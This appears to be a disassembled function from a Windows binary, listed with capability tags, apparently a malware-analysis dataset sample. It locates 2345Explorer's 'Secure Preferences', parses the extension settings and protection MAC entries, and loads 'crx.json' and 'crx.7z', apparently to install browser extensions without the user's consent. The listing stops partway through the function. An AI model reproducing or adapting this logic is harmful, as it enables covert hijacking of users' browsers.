Function at 0x1001c7f0
Capabilities:
Check if file exists
Delete file
Get common file path
Read file on windows
Set file attributes
Set registry value
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d963f
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xf78
mov eax, dword [0x100fb074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xf84], edx
mov esi, ecx
mov dword [ebp - 0xf04], esi
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0xf28], eax
xor eax, eax
push 0x104
push eax
mov dword [ebp - 0xf00], eax
mov dword [ebp - 0xee8], eax
lea eax, [ebp - 0x3b8]
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x2b0]
push 0x44
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov ecx, str.2345explorer.exe
call fcn.10009fd0
test eax, eax
je 0x1001c896
mov eax, 0xfffffffe
jmp 0x1001e805
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call esi
test eax, eax
jne 0x1001c8aa
xor eax, eax
jmp 0x1001e805
push 0x104
lea eax, [ebp - 0x3b8]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x8e0]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x8e0]
push 0
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8e0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x3b9], al
test al, al
jne 0x1001c8f0
push str.2345ExplorerUser_DataDefaultSecure_Preferences
lea eax, [ebp - 0x3b8]
push 0x104
push eax
call fcn.100c3c76
add esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
call esi
test eax, eax
je 0x1001e800
push 0x104
lea eax, [ebp - 0xaf0]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0xaf0]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0xaf0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0xaf0]
call fcn.1001a900
test eax, eax
jne 0x1001c8a3
lea eax, [ebp - 0x3b8]
push eax
push str._DEBUGINFO__SETCRX__Chrome_path___s_n
call fcn.10004450
add esp, 8
lea eax, [ebp - 0x3b8]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x3b8]
call fcn.1001a220
mov esi, eax
mov dword [ebp - 0xf24], esi
cmp esi, 0x64
jbe 0x1001e7fc
lea eax, [ebp - 0x3b8]
push 0x100ee020
push eax
call fcn.100bed8c
mov edi, eax
add esp, 8
test edi, edi
je 0x1001e7fc
inc esi
push esi
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0xef4], eax
push esi
mov esi, eax
push 0
push esi
call fcn.100b7060
add esp, 0xc
push edi
push dword [ebp - 0xf24]
push 1
push esi
call fcn.100bfba1
push edi
call fcn.100bf0a9
mov ecx, esi
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ca20
sub ecx, edx
cmp ecx, 1
jb 0x1001ca76
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ca33
sub ecx, edx
cmp ecx, 1
jb 0x1001ca76
mov edi, 1
sub edi, esi
push 1
push 0x100edcbc
push esi
call fcn.100bdd68
mov ecx, dword [ebp - 0xef4]
add esp, 0xc
lea edx, [ecx + 1]
test eax, eax
je 0x1001ca90
inc esi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ca66
sub ecx, edx
lea eax, [esi + edi]
cmp eax, ecx
jbe 0x1001ca48
push dword [ebp - 0xef4]
xor esi, esi
call fcn.100bd905
add esp, 4
jmp 0x1001e803
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ca90
sub ecx, edx
cmp ecx, 1
jb 0x1001ca76
mov esi, dword [ebp - 0xef4]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001cab0
sub ecx, edx
cmp ecx, 1
jb 0x1001ca76
nop
push 1
push 0x100edcc0
push esi
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1001cb05
mov ecx, dword [ebp - 0xef4]
inc esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001cae0
sub ecx, edx
lea eax, [esi + edi]
cmp eax, ecx
jbe 0x1001cac0
push dword [ebp - 0xef4]
xor esi, esi
call fcn.100bd905
add esp, 4
jmp 0x1001e803
push 0x74
call fcn.100b47e3
add esp, 4
mov dword [ebp - 0xf7c], eax
lea ecx, [ebp - 0xef0]
mov dword [ebp - 4], 0
push ecx
mov ecx, eax
mov dword [ebp - 0xef0], 0x100
call fcn.1000b7d0
and dword [ebp - 0xf18], 0xfffffe00
mov edi, eax
mov dword [ebp - 0xf24], edi
mov dword [ebp - 0xf14], 0
mov dword [ebp - 0xf10], 0
mov dword [ebp - 0xf0c], 0
mov dword [ebp - 4], 2
mov dword [ebp - method.Json::FastWriter.virtual_0], vtable.Json::FastWriter.0
mov dword [ebp - 0xb14], 0
mov dword [ebp - 0xb10], 0xf
mov byte [ebp - 0xb24], 0
mov word [ebp - 0xb0c], 0
mov byte [ebp - 0xb0a], 0
mov esi, dword [ebp - 0xef4]
push 0x100edcbc
push esi
mov byte [ebp - 4], 3
call fcn.100b6560
add esp, 8
test eax, eax
je 0x1001cc0c
push 0x100edcbc
push esi
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0xb08]
push eax
call fcn.10001670
mov eax, 1
mov byte [ebp - 4], 4
push eax
mov dword [ebp - 0xf00], eax
mov ecx, edi
mov dword [ebp - 0xee8], eax
lea eax, [ebp - 0xf20]
push eax
lea eax, [ebp - 0xb08]
push eax
call fcn.1000b8f0
mov byte [ebp - 0xee1], 1
test al, al
jne 0x1001cc13
mov byte [ebp - 0xee1], 0
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0xf00]
test al, 1
je 0x1001cc67
mov edx, dword [ebp - 0xaf4]
and eax, 0xfffffffe
mov dword [ebp - 0xf00], eax
cmp edx, 0x10
jb 0x1001cc67
mov ecx, dword [ebp - 0xb08]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001cc5d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e823
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0xee1], 0
je 0x1001e7be
mov ecx, dword [ebp - 0xf84]
call fcn.100db5e0
mov esi, eax
mov ecx, esi
mov dword [ebp - 0xf7c], esi
call fcn.100db720
mov ecx, esi
mov dword [ebp - 0xf80], eax
call fcn.100db810
mov edx, dword [ebp - 0xf28]
mov ecx, esi
mov dword [ebp - 0xef0], eax
call fcn.1001acc0
mov edx, dword [ebp - 0xf84]
mov ecx, esi
mov dword [ebp - 0xf54], eax
call fcn.1001af30
push 0x104
mov dword [ebp - 0xf28], eax
lea eax, [ebp - 0x4c0]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x160]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x268]
push 0x104
push 0
push eax
call fcn.100b7060
xor ecx, ecx
mov dword [ebp - 0xeec], 0
xor edi, edi
mov dword [ebp - 0xefc], ecx
add esp, 0xc
mov dword [ebp - 0xf34], ecx
mov dword [ebp - 0xf58], edi
mov dword [ebp - 0xf30], edi
mov dword [ebp - 0xf2c], ecx
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 5
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001d2e7
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xf6c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
mov dword [ebp - 0xf5c], edi
lea eax, [ebp - 0xf34]
cmp eax, esi
je 0x1001cdfa
mov ecx, eax
call fcn.1000a810
mov ecx, dword [esi]
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov esi, ecx
mov dword [ebp - 0xefc], ecx
mov dword [ebp - 0xf34], ecx
mov dword [ebp - 0xf58], edi
mov dword [ebp - 0xf30], edi
mov dword [ebp - 0xf2c], eax
mov dword [ebp - 0xf5c], esi
jmp 0x1001cdfc
xor esi, esi
lea ecx, [ebp - 0xf6c]
call fcn.1000a810
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xef8], eax
je 0x1001d2e1
xor edi, edi
mov dword [ebp - 0xee8], edi
nop
push 0x104
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x1001ce50
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x160]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea ecx, [ebp - 0xf20]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ce96
sub ecx, esi
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x1001d2bf
mov ecx, dword [ebp - 0xf54]
call fcn.1001a080
mov edi, eax
lea eax, [ebp - 0x4c0]
push 0x104
push 0
push eax
mov dword [ebp - 0xf60], edi
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0xf20]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001cf40
sub ecx, esi
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xb08]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x1001cf9a
mov esi, dword [esi]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x1001cfa0
mov edx, dword [ebp - 0xaf4]
sub esi, ecx
cmp edx, 0x10
jb 0x1001cfe3
mov ecx, dword [ebp - 0xb08]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001cfd9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e823
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0xf20]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0xf08], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d028
sub ecx, dword [ebp - 0xf08]
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xb08]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1001d084
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x4c0]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0xaf4]
add esp, 0xc
cmp edx, 0x10
jb 0x1001d0cf
mov ecx, dword [ebp - 0xb08]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001d0c5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e823
push edx
push ecx
call fcn.100b4813
add esp, 8
mov edx, edi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001d0d4
sub edx, ecx
lea ecx, [ebp - 0x4c0]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d0e6
sub ecx, esi
cmp edx, ecx
jb 0x1001d2b0
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0xf08], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x1001d104
sub edx, dword [ebp - 0xf08]
cmp ecx, edx
ja 0x1001d2b0
nop dword [eax]
push ecx
lea eax, [ebp - 0x4c0]
push eax
lea eax, [edi + esi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1001d16b
lea ecx, [ebp - 0x4c0]
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d142
sub ecx, edx
mov edx, edi
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001d150
sub edx, edi
lea eax, [ecx + esi]
mov edi, dword [ebp - 0xf60]
cmp eax, edx
jbe 0x1001d120
jmp 0x1001d2aa
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d1c0
sub ecx, esi
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015f00
test eax, eax
je 0x1001d2b0
push 0x104
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x268]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x268]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001d230
mov eax, dword [str.Extensions_]
lea edx, [ebp - 0x160]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
mov byte [ecx + 0xc], al
mov al, byte [edx]
inc edx
test al, al
jne 0x1001d261
lea edi, [ebp - 0x268]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001d271
mov ecx, edx
lea eax, [ebp - 0x268]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ecx, dword [ebp - 0xeec]
test eax, eax
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0xeec], ecx
mov edi, dword [ebp - 0xf60]
push edi
call fcn.100bd905
mov edi, dword [ebp - 0xee8]
add esp, 4
mov esi, dword [ebp - 0xf5c]
inc edi
add esi, 0x18
mov dword [ebp - 0xee8], edi
mov dword [ebp - 0xf5c], esi
cmp edi, dword [ebp - 0xef8]
jb 0x1001ce30
mov edi, dword [ebp - 0xf58]
push dword [ebp - 0xeec]
push str._DEBUGINFO__SETCRX__Chrome_bExit___d_n
call fcn.10004450
add esp, 8
lea ecx, [ebp - 0xf20]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001da78
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xf6c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
lea eax, [ebp - 0xf34]
cmp eax, esi
je 0x1001d3a5
mov ecx, eax
call fcn.1000a810
mov ecx, dword [esi]
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [ebp - 0xefc], ecx
mov dword [ebp - 0xf34], ecx
mov dword [ebp - 0xf30], edi
mov dword [ebp - 0xf2c], eax
mov dword [esi + 8], 0
lea ecx, [ebp - 0xf6c]
call fcn.1000a810
mov esi, dword [ebp - 0xefc]
mov eax, 0x2aaaaaab
sub edi, esi
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xf08], eax
je 0x1001da78
mov dword [ebp - 0xee8], 0
nop
push 0x104
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x1001d400
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x160]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea ecx, [ebp - 0xf20]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d446
sub ecx, esi
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x1001da51
mov ecx, dword [ebp - 0xf54]
call fcn.1001a080
mov edi, eax
lea eax, [ebp - 0x4c0]
push 0x104
push 0
push eax
mov dword [ebp - 0xeec], edi
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0xf20]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d4f0
sub ecx, esi
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xb08]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x1001d54a
mov esi, dword [esi]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x1001d550
mov edx, dword [ebp - 0xaf4]
sub esi, ecx
cmp edx, 0x10
jb 0x1001d593
mov ecx, dword [ebp - 0xb08]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001d589
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e823
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0xf20]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0xef8], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d5d8
sub ecx, dword [ebp - 0xef8]
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xb08]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1001d634
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x4c0]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0xaf4]
add esp, 0xc
cmp edx, 0x10
jb 0x1001d67f
mov ecx, dword [ebp - 0xb08]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001d675
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e823
push edx
push ecx
call fcn.100b4813
add esp, 8
mov edx, edi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001d684
sub edx, ecx
lea ecx, [ebp - 0x4c0]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d696
sub ecx, esi
cmp edx, ecx
jb 0x1001da48
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0xef8], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x1001d6b4
sub edx, dword [ebp - 0xef8]
cmp ecx, edx
ja 0x1001da48
nop dword [eax]
push ecx
lea eax, [ebp - 0x4c0]
push eax
lea eax, [esi + edi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1001d71b
lea ecx, [ebp - 0x4c0]
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d6f2
sub ecx, edx
mov edx, edi
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001d700
sub edx, edi
lea eax, [ecx + esi]
mov edi, dword [ebp - 0xeec]
cmp eax, edx
jbe 0x1001d6d0
jmp 0x1001da42
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d770
sub ecx, esi
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015f00
test eax, eax
je 0x1001d7d4
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.10016110
lea ecx, [ebp - 0x30]
call fcn.10015080
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001d996
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001d996
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001d996
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001d996
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d910
sub ecx, esi
lea eax, [ebp - 0x160]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10015f00
test eax, eax
je 0x1001d996
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x160]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.10016110
lea ecx, [ebp - 0x30]
call fcn.10015080
push 0x104
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x268]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x268]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001d9e0
mov eax, dword [str.Extensions_]
lea edx, [ebp - 0x160]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
mov byte [ecx + 0xc], al
mov al, byte [edx]
inc edx
test al, al
jne 0x1001da11
lea edi, [ebp - 0x268]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001da21
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x268]
call fcn.1001a680
mov edi, dword [ebp - 0xeec]
push edi
call fcn.100bd905
add esp, 4
mov esi, dword [ebp - 0xee8]
add dword [ebp - 0xefc], 0x18
inc esi
mov dword [ebp - 0xee8], esi
cmp esi, dword [ebp - 0xf08]
jae 0x1001da78
mov esi, dword [ebp - 0xefc]
jmp 0x1001d3e0
push 0x100ee16c
lea eax, [ebp - 0x8e0]
push eax
push dword [ebp - 0xf04]
call fcn.100ab670
push 0x104
lea eax, [ebp - 0x5c8]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x9e8]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x8e0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x5c9], al
test al, al
jne 0x1001dac0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x8e0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x9e9], al
test al, al
jne 0x1001dae0
lea ecx, [ebp - 0x5c8]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001db00
mov eax, dword [str.crx.json]
mov dword [ecx], eax
mov eax, dword [0x100ee174]
mov dword [ecx + 4], eax
mov ax, word [0x100ee178]
mov word [ecx + 8], ax
lea ecx, [ebp - 0x9e8]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001db30
mov eax, dword [str.crx.7z]
mov dword [ecx], eax
mov eax, dword [0x100ee180]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x5c8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1001e760
lea ecx, [ebp - 0x5c8]
call fcn.1001a220
mov edi, eax
cmp edi, 0xa
jbe 0x1001e760
lea eax, [ebp - 0x5c8]
push 0x100ee020
push eax
call fcn.100bed8c
add esp, 8
mov dword [ebp - 0xee8], eax
test eax, eax
je 0x1001e760
lea eax, [edi + 0x3e8]
push eax
mov dword [ebp - 0xf04], eax
call fcn.100bd8fa
add esp, 4
mov esi, eax
lea eax, [edi + 0x3e8]
mov dword [ebp - 0xeec], esi
push eax
push 0
push esi
call fcn.100b7060
add esp, 0xc
push dword [ebp - 0xee8]
push edi
push 1
push esi
call fcn.100bfba1
push dword [ebp - 0xee8]
call fcn.100bf0a9
add esp, 0x14
lea eax, [ebp - 0x6bb]
push 0xef
push 0
push eax
call fcn.100b7060
